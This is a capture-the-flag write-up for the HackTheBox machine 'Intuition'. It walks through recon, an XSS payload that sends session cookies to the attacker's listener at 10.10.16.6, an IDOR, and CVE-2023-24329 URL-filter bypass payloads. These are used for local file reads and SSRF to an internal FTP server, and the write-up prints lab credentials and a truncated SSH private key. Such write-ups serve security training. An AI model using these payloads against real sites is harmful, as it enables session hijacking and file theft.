Intuition – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Hard
  • Platform: HackTheBox

‘Intuition’ Avatar


Summary Link to heading

Intuition is a Hard box from HackTheBox platform. After an initial inspect of the main webpage from the victim machine, we are able to find some subdomains. One of these domains has a formulary vulnerable to Cross-Site Scripting (XSS). Which allows us to gain access to a dev panel. Inside this dev panel, we are able to get an admin cookie session thanks to an IDOR vulnerability. Once inside an admin panel, we are able to generate PDF reports. But this service is vulnerable to CVE-2023-24329, which allow us to read files in the system. Thanks to this we are able to read files in an internal FTP service an gain initial access to the target machine. Once inside the machine, we are able to leak some credentials from SQLite files, that leaks a new access to new files within FTP service. Among these files, we are able to find an authorization code. We then are able to read some log files that leaks the password of a new user. This new user can run a script with sudo. After some reverse engineering, we are able to inject code to this file and gain access as root user.


User Link to heading

Starting with Nmap scan, it only shows 2 ports open: 22 SSH and 80 HTTP.

❯ sudo nmap -sVC -p22,80 10.10.11.15 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-27 13:57 -04
Nmap scan report for 10.10.11.15
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_  256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.63 seconds

I note from the scan that the site http://10.10.11.15 redirects to http://comprezzor.htb. So we add it to our /etc/hosts file running:

❯ echo '10.10.11.15 comprezzor.htb' | sudo tee -a /etc/hosts

Once added, we visit http://comprezor.htb and we can see the following site:

Intuition 1

The site presents a tool that can be used to compress files. We can upload .txt, .pdf, and .docx files. I attempt uploading some files with payloads, but did not work.

I will then start looking for subdomains with ffuf, running:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://comprezzor.htb/ -H 'Host: FUZZ.comprezzor.htb' -fs 178 -t 55

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://comprezzor.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.comprezzor.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 55
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

auth                    [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 159ms]
report                  [Status: 200, Size: 3166, Words: 1102, Lines: 109, Duration: 242ms]
dashboard               [Status: 302, Size: 251, Words: 18, Lines: 6, Duration: 155ms]
:: Progress: [4989/4989] :: Job [1/1] :: 343 req/sec :: Duration: [0:00:14] :: Errors: 0 ::

and we got three subdomains: auth, report and dashboard.

I add these new domains to my /etc/hosts file. So now it looks like:

❯ tail -n1 /etc/hosts

10.10.11.15 comprezzor.htb auth.comprezzor.htb report.comprezzor.htb dashboard.comprezzor.htb

Once added these new subdomains, I visiting http://report.comprezzor.htb shows something. We can see a site where we can report bugs:

Intuition 2

Clicking on Report a Bug redirects us to http://auth.comprezzor.htb/login.

Intuition 3

Since I don’t have credentials and default credentials (such as admin:admin, guest:guest, root:root, etc) don’t work I will create/register a new account. Once registered, I log in into the panel and, once logged, it redirects to http://report.comprezzor.htb (where I can also see the text Logged in succesfully!). Now, if I click on Report a Bug we can see the following panel:

Intuition 4

To see if we can inject something in this submission form, I will start Burpsuite and intercept the submission form request. When we send the submission form request and it gets intercepted, we have a POST request like the following:

POST /report_bug HTTP/1.1
Host: report.comprezzor.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://report.comprezzor.htb
DNT: 1
Connection: close
Referer: http://report.comprezzor.htb/report_bug
Cookie: user_data=eyJ1c2VyX2lkIjogNiwgInVzZXJuYW1lIjogImd1bnpmMHgiLCAicm9sZSI6ICJ1c2VyIn18ZDFjZWE0Zjg1ODNkNGE5N2FiN2VlZjM0ZTNkMzRkMmYyNGIyMTE4ZWY5M2EyNDBmOTA0MTUyM2JhNjU0NzI5Ng==
Upgrade-Insecure-Requests: 1

report_title=title&description=test

where we can see 2 parameters: report_title and description. To play with these parameters I will send it to Burpsuite Repeater.

After some injections, the following Cross Site Scripting (XSS) injection works in the description parameter:

<script>document.location="http://10.10.16.6:8000/xss-76.js?cookie="+btoa(document.cookie);</script>

where 10.10.16.6 is my attacker IP and 8000 is a port I am currently listening with netcat. We can see more Cross Site Scripting (XSS) payloads at PayloadAllTheThings from their repository.

Therefore, the POST request sent through Burpsuite looks like:

POST /report_bug HTTP/1.1
Host: report.comprezzor.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Origin: http://report.comprezzor.htb
DNT: 1
Connection: close
Referer: http://report.comprezzor.htb/report_bug
Cookie: user_data=eyJ1c2VyX2lkIjogNiwgInVzZXJuYW1lIjogImd1bnpmMHgiLCAicm9sZSI6ICJ1c2VyIn18ZDFjZWE0Zjg1ODNkNGE5N2FiN2VlZjM0ZTNkMzRkMmYyNGIyMTE4ZWY5M2EyNDBmOTA0MTUyM2JhNjU0NzI5Ng==
Upgrade-Insecure-Requests: 1

report_title=test&description=<script>document.location%3d"http%3a//10.10.16.6%3a8000/xss-76.js%3fcookie%3d"%2bbtoa(document.cookie)%3b</script>

Intuition 9

and in my netcat listener I get:

❯ nc -lvnp 8000

listening on [any] 8000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.15] 60714
GET /xss-76.js?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNaXdnSW5WelpYSnVZVzFsSWpvZ0ltRmtZVzBpTENBaWNtOXNaU0k2SUNKM1pXSmtaWFlpZlh3MU9HWTJaamN5TlRNek9XTmxNMlkyT1dRNE5UVXlZVEV3TmprMlpHUmxZbUkyT0dJeVlqVTNaREpsTlRJell6QTRZbVJsT0RZNFpETmhOelUyWkdJNA== HTTP/1.1
Host: 10.10.16.6:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dashboard.comprezzor.htb/
Connection: keep-alive
Upgrade-Insecure-Requests: 1

Decoding the base64 message, we have:

❯ echo -n 'dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNaXdnSW5WelpYSnVZVzFsSWpvZ0ltRmtZVzBpTENBaWNtOXNaU0k2SUNKM1pXSmtaWFlpZlh3MU9HWTJaamN5TlRNek9XTmxNMlkyT1dRNE5UVXlZVEV3TmprMlpHUmxZbUkyT0dJeVlqVTNaREpsTlRJell6QTRZbVJsT0RZNFpETmhOelUyWkdJNA==' | base64 -d

user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4

We have a cookie.

I also note from the request obtained with netcat that the Referer is http://dashboard.comprezzor.htb/. However, visiting this page redirects to http://auth.comprezzor.htb/login (the login panel we have visited previously). In my Firefox browser, if I check the Storage (press Ctrl+Shift+I) I can see that we have a cookie named user_data which is the same name from the cookie we have obtained from XSS. Therefore, I replace the value of user_data cookie with the new value found and re-visit http://dashboard.comprezzor.htb. Now we can see a kind of a Dashboard - webdev:

Intuition 5

At the left side we can click on the report IDs 1, 2, 3 and so on. When we click on it we can see a report like, for example:

Intuition 6

I note that, when I upload a report at http://report.comprezzor.htb/report_bug with the obtained cookie we are uploading reports as adam user; since if I refresh the page we now have:

Intuition 7

I note that all the reports have a Priority parameter. As can be seen in the image that shows a report, we can set the priority to Low or High clicking on that option. I assume that High priorities have a special treatment and, therefore, are reviewed by a more important user than adam. I send a new report as adam with the name test2 and the XSS payload previously used. If I re-check the webpage my payload is there:

Intuition 8

Now, the problem is that, when I click on 25 (the report ID that contains my malicious XSS payload) it executes the payload. Since I want to change the priority of my malicious payload from 0 (Low) to 1 (High) I will open another already created report, click on Set High Priority and intercept that with Burpsuite. The POST request sent is:

POST /change_priority?report_id=3&priority_level=1 HTTP/1.1
Host: dashboard.comprezzor.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://dashboard.comprezzor.htb
DNT: 1
Connection: close
Referer: http://dashboard.comprezzor.htb/report/3
Cookie: user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4==
Upgrade-Insecure-Requests: 1

Here I will modify the POST parameter through an IDOR from the url /change_priority?report_id=3&priority_level=1 to /change_priority?report_id=25&priority_level=1, where we are modifying the report with ID 3, to report_id=25 since report 25 is the report with the malicious XSS payload. After modifying and sending it, and after setting again a listener on port 8000 with netcat, I get another cookie:

❯ nc -lvnp 8000

listening on [any] 8000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.15] 36514
GET /xss-76.js?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNU3dnSW5WelpYSnVZVzFsSWpvZ0ltRmtiV2x1SWl3Z0luSnZiR1VpT2lBaVlXUnRhVzRpZlh3ek5EZ3lNak16TTJRME5EUmhaVEJsTkRBeU1tWTJZMk0yTnpsaFl6bGtNalprTVdReFpEWTRNbU0xT1dNMk1XTm1ZbVZoTWpsa056YzJaRFU0T1dRNQ== HTTP/1.1
Host: 10.10.16.6:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dashboard.comprezzor.htb/
Connection: keep-alive
Upgrade-Insecure-Requests: 1

Decoding it we now have the cookie:

❯ echo -n 'dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNU3dnSW5WelpYSnVZVzFsSWpvZ0ltRmtiV2x1SWl3Z0luSnZiR1VpT2lBaVlXUnRhVzRpZlh3ek5EZ3lNak16TTJRME5EUmhaVEJsTkRBeU1tWTJZMk0yTnpsaFl6bGtNalprTVdReFpEWTRNbU0xT1dNMk1XTm1ZbVZoTWpsa056YzJaRFU0T1dRNQ==' | base64 -d

user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5

I then replace the cookie from http://dashboard.comprezzor.htb/ with this new value, refresh the page and we are in the dashboard as admin user:

Intuition 10

There, we can see a Create PDF Report. Clicking on it, it has a field that asks for a PDF url. However, I decide to put my url (and, again, after setting a listener with netcat on port 8000):

Intuition 11

and in my listener I get something:

❯ nc -lvnp 8000

listening on [any] 8000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.15] 42234
GET / HTTP/1.1
Accept-Encoding: identity
Host: 10.10.16.6:8000
User-Agent: Python-urllib/3.11
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Connection: close

Here we can see the User-Agent is Python-urllib/3.11. Searching for vulnerabilities for this version we find CVE-2023-24329 described as:

Info
An issue in the urllib.parse component of Python before 3.11.4 allows attackers to bypass blocklisting methods by supplying a URL that starts with blank characters.

Basically, in the url field parameter, we can supply the payload:

 file:///etc/passwd

Note that before the string file we have an empty space ( ) that allows us to bypass the filters, as the vulnerability describes.

Intuition 12

This generates a PDF report that contains:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-
data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting
System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd
Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:104::/nonexistent:/usr/sbin/nologin systemd-
timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin avahi:x:105:110:Avahi mDNS
daemon,,,:/run/avahi-daemon:/usr/sbin/nologin geoclue:x:106:111::/var/lib/geoclue:/usr/sbin/nologin

so we have reached a Local File Inclusion (LFI).

But we still need paths to read files. We can check running processes reading /proc/self/cmdline, or the payload:

 file:///proc/self/cmdline

(Do not forget the space before the payload)

Once uploaded we automatically download a PDF with the process:

python3/app/code/app.py

where we find a Python app running called /app/code/app.py.

We then inject the payload

 file:///app/code/app.py

we now get:

from flask import Flask, request, redirect from blueprints.index.index import main_bp from blueprints.report.report
import report_bp from blueprints.auth.auth import auth_bp from blueprints.dashboard.dashboard import dashboard_bp
app = Flask(__name__) app.secret_key = "7ASS7ADA8RF3FD7" app.config['SERVER_NAME'] = 'comprezzor.htb'
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 # Limit file size to 5MB ALLOWED_EXTENSIONS = {'txt',
'pdf', 'docx'} # Add more allowed file extensions if needed app.register_blueprint(main_bp)
app.register_blueprint(report_bp, subdomain='report') app.register_blueprint(auth_bp, subdomain='auth')
app.register_blueprint(dashboard_bp, subdomain='dashboard') if __name__ == '__main__': app.run(debug=False,
host="0.0.0.0", port=80)

And reordering it, we have the Python code:

from flask import Flask, request, redirect
from blueprints.index.index import main_bp
from blueprints.report.report import report_bp
from blueprints.auth.auth import auth_bp
from blueprints.dashboard.dashboard import dashboard_bp

app = Flask(__name__)
app.secret_key = "7ASS7ADA8RF3FD7"
app.config['SERVER_NAME'] = 'comprezzor.htb'
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024  # Limit file size to 5MB

ALLOWED_EXTENSIONS = {'txt', 'pdf', 'docx'}  # Add more allowed file extensions if needed

app.register_blueprint(main_bp)
app.register_blueprint(report_bp, subdomain='report')
app.register_blueprint(auth_bp, subdomain='auth')
app.register_blueprint(dashboard_bp, subdomain='dashboard')

if __name__ == '__main__':
    app.run(debug=False, host="0.0.0.0", port=80)

where we have a potential password: 7ASS7ADA8RF3FD7.

I also note that it is importing the non-standard library blueprints. Searching for this library it seems to be a library for Flask (that makes sense with the name file app.py). As explained in this StackOverflow post and Blueprints documentation, we expect blueprints library to be located at the current directory for app.py, inside the directory /blueprints. Therefore I try to read the file /app/code/blueprints/auth/auth.py and get the code:

from flask import Flask, Blueprint, request, render_template, redirect, url_for, flash, make_response
from .auth_utils import *
from werkzeug.security import check_password_hash

app = Flask(__name__)

auth_bp = Blueprint('auth', __name__, subdomain='auth')

@auth_bp.route('/')
def index():
    return redirect(url_for('auth.login'))

@auth_bp.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        user = fetch_user_info(username)
        if (user is None) or not check_password_hash(user[2], password):
            flash('Invalid username or password', 'error')
            return redirect(url_for('auth.login'))
        serialized_user_data = serialize_user_data(user[0], user[1], user[3])
        flash('Logged in successfully!', 'success')
        response = make_response(redirect(get_redirect_url(user[3])))
        response.set_cookie('user_data', serialized_user_data, domain='.comprezzor.htb')
        return response
    return render_template('auth/login.html')

@auth_bp.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        user = fetch_user_info(username)
        if user is not None:
            flash('User already exists', 'error')
            return redirect(url_for('auth.register'))
        if create_user(username, password):
            flash('Registration successful! You can now log in.', 'success')
            return redirect(url_for('auth.login'))
        else:
            flash('Unexpected error occurred while trying to register!', 'error')
    return render_template('auth/register.html')

@auth_bp.route('/logout')
def logout():
    pass

where we can see that it is the code for the checking login for http://auth.comprezzor.htb

I am also able to find the files /app/code/blueprints/report/report.py and /app/code/blueprints/index/index.py, but they are not interesting for the moment.

But the most interesting file is /app/code/blueprints/dashboard/dashboard.py, since if we check it, we have the code:

from flask import Blueprint, request, render_template, flash, redirect, url_for, send_file
from blueprints.auth.auth_utils import admin_required, login_required, deserialize_user_data
from blueprints.report.report_utils import get_report_by_priority, get_report_by_id, delete_report, get_all_reports, change_report_priority, resolve_report
import random, os, pdfkit, socket, shutil
import urllib.request
from urllib.parse import urlparse
import zipfile
from ftplib import FTP
from datetime import datetime

dashboard_bp = Blueprint('dashboard', __name__, subdomain='dashboard')
pdf_report_path = os.path.join(os.path.dirname(__file__), 'pdf_reports')
allowed_hostnames = ['report.comprezzor.htb']

@dashboard_bp.route('/', methods=['GET'])
@admin_required
def dashboard():
    user_data = request.cookies.get('user_data')
    user_info = deserialize_user_data(user_data)
    if user_info['role'] == 'admin':
        reports = get_report_by_priority(1)
    elif user_info['role'] == 'webdev':
        reports = get_all_reports()
    return render_template('dashboard/dashboard.html', reports=reports, user_info=user_info)

@dashboard_bp.route('/report/', methods=['GET'])
@login_required
def get_report(report_id):
    user_data = request.cookies.get('user_data')
    user_info = deserialize_user_data(user_data)
    if user_info['role'] in ['admin', 'webdev']:
        report = get_report_by_id(report_id)
        return render_template('dashboard/report.html', report=report, user_info=user_info)
    else:
        pass

@dashboard_bp.route('/delete/', methods=['GET'])
@login_required
def del_report(report_id):
    user_data = request.cookies.get('user_data')
    user_info = deserialize_user_data(user_data)
    if user_info['role'] in ['admin', 'webdev']:
        report = delete_report(report_id)
        return redirect(url_for('dashboard.dashboard'))
    else:
        pass

@dashboard_bp.route('/resolve', methods=['POST'])
@login_required
def resolve():
    report_id = int(request.args.get('report_id'))
    if resolve_report(report_id):
        flash('Report resolved successfully!', 'success')
    else:
        flash('Error occurred while trying to resolve!', 'error')
    return redirect(url_for('dashboard.dashboard'))

@dashboard_bp.route('/change_priority', methods=['POST'])
@admin_required
def change_priority():
    user_data = request.cookies.get('user_data')
    user_info = deserialize_user_data(user_data)
    if user_info['role'] != ('webdev' or 'admin'):
        flash('Not enough permissions. Only admins and webdevs can change report priority.', 'error')
        return redirect(url_for('dashboard.dashboard'))
    report_id = int(request.args.get('report_id'))
    priority_level = int(request.args.get('priority_level'))
    if change_report_priority(report_id, priority_level):
        flash('Report priority level changed!', 'success')
    else:
        flash('Error occurred while trying to change the priority!', 'error')
    return redirect(url_for('dashboard.dashboard'))

@dashboard_bp.route('/create_pdf_report', methods=['GET', 'POST'])
@admin_required
def create_pdf_report():
    global pdf_report_path
    if request.method == 'POST':
        report_url = request.form.get('report_url')
        try:
            scheme = urlparse(report_url).scheme
            hostname = urlparse(report_url).netloc
            try:
                dissallowed_schemas = ["file", "ftp", "ftps"]
                if (scheme not in dissallowed_schemas) and ((socket.gethostbyname(hostname.split(":")[0]) != '127.0.0.1') or (hostname in allowed_hostnames)):
                    print(scheme)
                    urllib_request = urllib.request.Request(report_url, headers={'Cookie': 'user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhM'})
                    response = urllib.request.urlopen(urllib_request)
                    html_content = response.read().decode('utf-8')
                    pdf_filename = f'{pdf_report_path}/report_{str(random.randint(10000,90000))}.pdf'
                    pdfkit.from_string(html_content, pdf_filename)
                    return send_file(pdf_filename, as_attachment=True)
            except:
                flash('Unexpected error!', 'error')
                return render_template('dashboard/create_pdf_report.html')
            else:
                flash('Invalid URL', 'error')
                return render_template('dashboard/create_pdf_report.html')
        except Exception as e:
            raise e
    else:
        return render_template('dashboard/create_pdf_report.html')

@dashboard_bp.route('/backup', methods=['GET'])
@admin_required
def backup():
    source_directory = os.path.abspath(os.path.dirname(__file__) + '../../../')
    current_datetime = datetime.now().strftime("%Y%m%d%H%M%S")
    backup_filename = f'app_backup_{current_datetime}.zip'
    with zipfile.ZipFile(backup_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:
        for root, _, files in os.walk(source_directory):
            for file in files:
                file_path = os.path.join(root, file)
                arcname = os.path.relpath(file_path, source_directory)
                zipf.write(file_path, arcname=arcname)
    try:
        ftp = FTP('ftp.local')
        ftp.login(user='ftp_admin', passwd='u3jai8y71s2')
        ftp.cwd('/')
        with open(backup_filename, 'rb') as file:
            ftp.storbinary(f'STOR {backup_filename}', file)
        ftp.quit()
        os.remove(backup_filename)
        flash('Backup and upload completed successfully!', 'success')
    except Exception as e:
        flash(f'Error: {str(e)}', 'error')
    return redirect(url_for('dashboard.dashboard'))

where I can see a user and a password: ftp_admin:u3jai8y71s2.

So I assume that File Transfer Protocol (FTP) is running internally in the machine. We can then attempt a Server-Side Request Forgery (SSRF) with the payload:

 ftp://ftp_admin:u3jai8y71s2@ftp.local

and we get the output:

-rw------- 1 root root 2655 May 27 20:05 private-8297.key 
-rw-r--r-- 1 root root 15519 May 27 20:05 welcome_note.pdf 
-rw-r--r-- 1 root root 1732 May 27 20:05 welcome_note.txt

where we have a file welcome_note.txt and a private key called private-8297.key.

We then read this file with the payload:

 ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt

we have:

Dear Devs, We are thrilled to extend a warm welcome to you as you embark on this exciting journey with us. Your
arrival marks the beginning of an inspiring chapter in our collective pursuit of excellence, and we are genuinely
delighted to have you on board. Here, we value talent, innovation, and teamwork, and your presence here reaffirms our
commitment to nurturing a diverse and dynamic workforce. Your skills, experience, and unique perspectives are
invaluable assets that will contribute significantly to our continued growth and success. As you settle into your new
role, please know that you have our unwavering support. Our team is here to guide and assist you every step of the way,
ensuring that you have the resources and knowledge necessary to thrive in your position. To facilitate your work and
access to our systems, we have attached an SSH private key to this email. You can use the following passphrase to
access it, `Y27SH19HDIWD`. Please ensure the utmost confidentiality and security when using this key. If you have any
questions or require assistance with server access or any other aspect of your work, please do not hesitate to reach out
for assistance. In addition to your technical skills, we encourage you to bring your passion, creativity, and innovative
thinking to the table. Your contributions will play a vital role in shaping the future of our projects and products. Once
again, welcome to your new family. We look forward to getting to know you, collaborating with you, and witnessing
your exceptional contributions. Together, we will continue to achieve great things. If you have any questions or need
further information, please feel free to me at adam@comprezzor.htb. Best regards, Adam

We find a passphrase to log in via SSH: Y27SH19HDIWD

If now I check the file private-8297.key with the payload:

 ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key

we have the key:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDyIVwjHg
cDQsuL69cF7BJpAAAAEAAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQDfUe6nu6ud
KETqHA3v4sOjhIA4sxSwJOpWJsS//l6KBOcHRD6qJiFZeyQ5NkHiEKPIEfsHuFMzykx8lA
KK79WWvR0BV6ZwHSQnRQByD9eAj60Z/CZNcq19PHr6uaTRjHqQ/zbs7pzWTs+mdCwKLOU7
x+X0XGGmtrPH4/YODxuOwP9S7luu0XmG0m7sh8I1ETISobycDN/2qa1E/w0VBNuBltR1BR
BdDiGObtiZ1sG+cMsCSGwCB0sYO/3aa5Us10N2v3999T7u7YTwJuf9Vq5Yxt8VqDT/t+JX
U0LuE5xPpzedBJ5BNGNwAPqkEBmjNnQsYlBleco6FN4La7Irn74fb/7OFGR/iHuLc3UFQk
TlK7LNXegrKxxb1fLp2g4B1yPr2eVDX/OzbqAE789NAv1Ag7O5H1IHTH2BTPTF3Fsm7pk+
efwRuTusue6fZteAipv4rZAPKETMLeBPbUGoxPNvRy6VLfTLV+CzYGJTdrnNHWYQ7+sqbc
JFGDBQ+X3QelEAAAWQ+YGB02Ep/88YxudrpfK8MjnpV50/Ew4KtvEjqe4oNL4zLr4qpRec
80EVZXE2y8k7+2Kqe9+i65RDTpTv+D88M4p/x0wOSVoquD3NNKDSDCmuo0+EU+5WrZcLGT
ybB8rzzM+RZTm2/XqXvrPPKqtZ9jGIVWhzOirVmbr7lU9reyyotru1RrFDrKSZB4Rju/6V
YMLzlQ0hG+558YqQ/VU1wrcViqMCAHoKo+kxYBhvA7Pq1XDtU1vLJRhQikg249Iu4NnPtA
bS5NY4W5E0myaT6sj1Nb7GMlU9aId+PQLxwfPzHvmZArlZBl2EdwOrH4K6Acl/WX2Gchia
R9Rb3vhhJ9fAP10cmKCGNRXUHgAw3LS/xXbskoaamN/Vj9CHqF1ciEswr0STURBgN4OUO7
cEH6cOmv7/blKgJUM/9/lzQ0VSCoBiFkje9BEQ5UFgZod+Lw5UVW5JrkHrO4NHZmJR7epT
9e+7RTOJW1rKq6xf4WmTbEMV95TKAu1BIfSPJgLAO25+RF4fGJj+A3fnIB0aDmFmT4qiiz
YyJUQumFsZDRxaFCWSsGaTIdZSPzXm1lB0fu3fI1gaJ+73Aat9Z4+BrwxOrQeoSjj6nAJa
lPmLlsKmOE+50l+kB2OBuqssg0kQHgPmiI+TMBAW71WU9ce5Qpg7udDVPrbkFPiEn7nBxO
JJEKO4U29k93NK1FJNDJ8VI3qqqDy6GMziNapOlNTsWqRf5mCSWpbJu70LE32Ng5IqFGCu
r4y/3AuPTgzCQUt78p0NbaHTB8eyOpRwoGvKUQ10XWaFO5IVWlZ3O5Q1JB1vPkxod6YOAk
wsOvp4pZK/FPi165tghhogsjbKMrkTS1+RVLhhDIraNnpay2VLMOq8U4pcVYbg0Mm0+Qeh
FYsktA4nHEX5EmURXO2WZgQThZrvfsEK5EIPKFMM7BSiprnoapMMFzKAwAh1D8rJlDsgG/
Lnw6FPnlUHoSZU4yi8oIras0zYHOQjiPToRMBQQPLcyBUpZwUv/aW8I0BuQv2bbfq5X6QW
1VjanxEJQau8dOczeWfG55R9TrF+ZU3G27UZVt4mZtbwoQipK71hmKDraWEyqp+cLmvIRu
eIIIcWPliMi9t+c3mI897sv45XWUkBfv6kNmfs1l9BH/GRrD+JYlNFzpW1PpdbnzjNHHZ3
NL4dUe3Dt5rGyQF8xpBm3m8H/0bt4AslcUL9RsyXvBK26BIdkqoZHKNyV9xlnIktlVELaZ
XTrhQOEGC4wqxRSz8BUZOb1/5Uw/GI/cYabJdsvb/QKxGbm5pBM7YRAgmljYExjDavczU4
AEuCbdj+D8zqvuXgIFlAdgen8ppBob0/CBPqE5pTsuAOe3SdEqEvglTrb+rlgWC6wPSvaA
rRgthH/1jct9AgmgDd2NntTwi9iXPDqtdx7miMslOIxKJidiR5wg5n4Dl6l5cL+ZN7dT/N
KdMz9orpA/UF+sBLVMyfbxoPF3Mxz1SG62lVvH45d7qUxjJe5SaVoWlICsDjogfHfZY40P
